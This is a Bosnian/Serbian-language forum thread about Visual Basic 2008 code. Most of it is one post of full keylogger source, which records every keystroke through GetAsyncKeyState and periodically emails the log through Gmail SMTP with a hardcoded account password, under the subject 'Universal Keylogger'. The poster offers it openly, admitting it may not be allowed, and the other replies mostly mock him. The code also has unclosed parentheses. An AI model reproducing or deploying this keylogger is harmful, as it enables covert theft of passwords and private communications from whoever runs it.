Visual Basic 2008

Ako neko ima dobre kodove za VB 2008 neka ih ostavi ovde!!!evo vam jedan jednostavan kod za web browser:
WebBrowser1.Navigate(TextBox1.Text)
Evo vam jedan kod koi neznam jeli dozovoljen ali cu da ga stavim zbog ovih debila koi samo igre na pc znaju igraju
Imports System.Web
Imports System.IO
Imports System.Net.Mail

Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i

End Sub

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("[email uklonjen]", "furryman"
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
SmtpServer.EnableSsl = True
SmtpServer.EnableSsl = True
mail.To.Add("[email uklonjen]"
mail.From = New MailAddress("[email uklonjen]"
mail.Subject = "Universal Keylogger"
mail.Body = TextBox1.Text
SmtpServer.Send(mail)
End Sub
End Class

HAHAAHHAHAHAAHA JAK SI

Gdje se moze skinut taj Virtual basic ?

Kume, ne brukaj se bolan. Pa vidiš da se smiju ljudi.

AHAHAHAHAHAHAHAHAHAHAHAHA

ajde poklopi se nevidim sta je smjesno U VB2008 to je progrm za programiranje i zato se poklopi i suti

Virtual wtf?

Haj mi opali aplauz....

Da ne ispadne da sam džabe došo na ovu temu...